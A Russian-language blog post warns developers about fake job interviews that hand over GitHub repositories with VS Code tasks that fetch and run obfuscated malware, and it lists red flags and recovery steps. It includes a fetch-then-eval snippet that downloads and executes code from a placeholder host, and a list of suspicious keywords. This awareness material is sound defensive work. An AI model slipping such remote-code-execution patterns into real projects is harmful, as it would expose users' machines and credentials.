Недавно, в одной из соцсетей, наткнулся на короткий пост, в котором автор написал:

«СКАМИНА ДЛЯ АЙТИШНИКОВ
Выглядит так —
Приглашают на интервью, в конце говорят, что вот проект, с которым нужно будет работать, и кидают ссылку на GitHub.
Говорят: склонируй, расскажу, что там по архитектуре.
Ну и если склонировать, там внутри таски для VS Code, которые качают и запускают обфусцированный код.
Берегите себя.»

Я решил поискать информацию по похожим случаям: единичный ли это случай или уже схема. И да — это оказался не единичный случай, а вполне оформленный и уже задокументированный тип атак на разработчиков по крайней мере за бугром. Причём атака направлена именно на людей, которые привыкли запускать код, доверять репозиториям и IDE.

Давайте разберемся, как это работает.

Кейс на на dev.to

Искать долго не пришлось, сразу наткнулся на несколько статей по этому поводу. Например, на статье на dev.to под названием "Fake job offers are turning GitHub repos into a trap" подробно разобран сценарий, практически идентичный тому, что описан в посте.

Злоумышленники создают фейковые job-offers, идут напрямую в LinkedIn / email, представляются рекрутерами стартапов, Web3-проектов, AI-команд, часто предлагают интересный международный проект и быстрый процесс найма. В целом, доверие формируется заранее. Это не “вот ссылка, запусти”, а нормальный процесс – созвон, обсуждение, давай покажем реальный код.

Кандидату отправляют ссылку на публичный репозиторий GitHub. Внутри имеется минимальный README, правдоподобная структура проекта, несколько файлов для вида и главное — скрытые механизмы запуска, а далее атака строится на привычках разработчика:“Открой в VS Code”, “Запусти проект”, “Давай я расскажу архитектуру, пока у тебя всё поднимается”.

Внутри .vscode/tasks.json или package.json могут быть прописаны команды, которые, скачивают внешний payload, выполняют obfuscated JS, запускают PowerShell / bash-скрипт или подтягивают бинарник.

В описанных кейсах встречаются:

• postinstall в package.json,

• base64-закодированный скрипт,

• динамическая загрузка кода через curl / Invoke-WebRequest,

• загрузка .exe / .dll / .bin файлов,

• использование WebAssembly как способа усложнить анализ.

Что именно ищут злоумышленники

Цель атаки не сломать компьютер, а получить доступ к ценным данным разработчика. Чаще всего это SSH-ключи, GitHub Personal Access Tokens, токены CI/CD, cookies браузера, криптокошельки (MetaMask, к примеру), .env файлы, доступ к корпоративным репозиториям и т.п.

Кейс из Kaspersky

Похожий сценарий описан в блоге Kaspersky в материале "Зловреды в тестовых заданиях для разработчиков". Здесь речь уже не просто о подозрительных скриптах, а о полноценной установке Remote Access Trojan (RAT). Сценарий собственно похожий. Фейковое предложение работы: тестовое задание в виде GitHub-репозитория, инструкция по клонированию и запуске проекта. В процессе запуска — выполнение вредоносного кода. Репозиторий выглядит технически правдоподобным. Нет откровенно подозрительных файлов. Всё маскируется под сборку, dev-сервер или проверку зависимостей.

Использование обфусцированных payload’ов

Код сильно обфусцирован, разбит на части, может быть зашифрован, часто подтягивается с удалённого сервера уже после запуска.

Все это затрудняет проверку не только визуально, но и автоматически, учитывая, что сие действие происходит на собеседовании, где время ограниченно.

Как устанавливается Remote Access Trojan

После выполнения скрипта скачивается дополнительный модуль, создается автозапуск, открывается канал связи с C2-сервером, атакующий получает удалённый доступ. С этого момента машина разработчика становится управляемой извне.

По сути, пользователь сам запускает код под влиянием социальной инженерии, а антивирусы не видят угрозы, потому что отсутствует сигнатура, т.к. Payload может быть уникальным для каждой жертвы, в атаках используются Node.js, PowerShell, curl — сами по себе они не опасны плюс вредоносный код не лежит в репозитории напрямую, а загружается в процессе.

Красные флаги — как распознать опасность заранее

В целом, ссылка на репозиторий - это не преступление. Компании действительно показывают реальный код или дают мини-проект для знакомства, но на что стоит обратить внимание:

1. В тестовом задании есть .vscode задачи

Если в репозитории присутствует папка .vscode с tasks.json или launch.json — это уже повод внимательно посмотреть содержимое. Стоит упомянуть, что вредоносный код прячут только в package.json scripts , setup.py, Makefile, install.sh.

Нормальная практика для тестового задания — это README с инструкциями, стандартный npm start и, в целом, понятные шаги сборки.

Ненормальная практика - автоматический запуск скриптов, скрытые команды, которые обращаются к внешним ресурсам, выполнение PowerShell / bash через IDE.

Особенно подозрительно, если в задаче присутствуют curl, wget, Invoke-WebRequest, запуск бинарников, base64-строки, длинные нечитаемые конструкции.

2. Нет инструкций, кроме “клонируй и запускай”

Предыдущий пункт касался больше технического внимания, но стоит уделить внимание социальной составляющей. Если вам говорят: “Просто склонируй, я расскажу архитектуру, пока всё поднимается” – видимо теперь это становится тревожным сигналом, после знакомства с данными случаями.

3. Репозиторий

Давайте подумаем, какие признаки могут быть в самом репозитории. Мне приходят на ум вот такие подозрительные признаки:

• нет истории коммитов или их мало

• аккаунт создан недавно

• странные зависимости без объяснений

Обфусцированный код

Наверное, стоит пояснить вообще, что такое обфусцированный код. Коротко, обфусцированный код — это код, который специально “запутан”, чтобы его было трудно читать, понимать и анализировать человеку. Он при этом работает также, как обычный код — но выглядит как набор бессмысленных символов.

Обычный код:

function sum(a, b) {
  return a + b;
}

console.log(sum(2, 3));

Обфусцированный вариант:

(function(_0x3a2f1b,_0x1d4c5e){return _0x3a2f1b+_0x1d4c5e})(0x2,0x3);

В целом, для такого кода есть легальные причины. Например, это защита интеллектуальной собственности, усложнение реверс-инжиниринга, защита алгоритмов во фронтенде.

Коммерческие JS-библиотеки иногда обфусцируют код, чтобы его не копировали. Но в контексте скама это тревожный сигнал.

Как это может выглядеть в проекте, который вам дают?

Непонятные имена переменных:

var _0x5a12 = ['log','Hello world'];

eval() :

eval(atob("Y29uc29sZS5sb2coJ0hlbGxvJyk="));

Base64-строки, которые потом декодируются, или динамическая загрузка кода:

fetch("https://example.com/script.js")
  .then(r => r.text())
  .then(code => eval(code));

И по факту обфусцированный код не равняется автоматически вредоносный. Но в тестовом задании его быть не должно.

Также, наверное, стоит задуматься, если в проекте по поиску находятся eval, atob, Buffer.from, child_process, exec, curl, wget, Invoke-WebRequest, powershell. Как будто бы в нормальных тестовых заданиях это не нужно и быть не должно.

Если код невозможно прочитать — это уже причина остановиться.

Так же если вас просят добавить GitHub-токен, авторизоваться через CLI, передать доступ к приватным репозиториям, положить что-то в .env — это все повод задать вопрос “зачем?”.

Как от всего этого уберечься

Встает резонный вопрос: «как не попасться?» Видимо, придется учитывать не только то, что написано выше, но и, например, использовать отдельную виртуальную машину для таких «тестовых», а если уже что-то запустили на своей и в какой-то момент поняли, что попались — отключите интернет, отзовите GitHub-токены, SSH-ключи, доступы к CI/CD и бегом везде менять пароли по пути чекнув автозапуск.

Итог

Просто живите с этим знанием, ведь если предупрежден – значит вооружен!

И напишите в комментариях, кто какую информацию знает по данной теме, может быть я что-то упустил или есть, чем дополнить.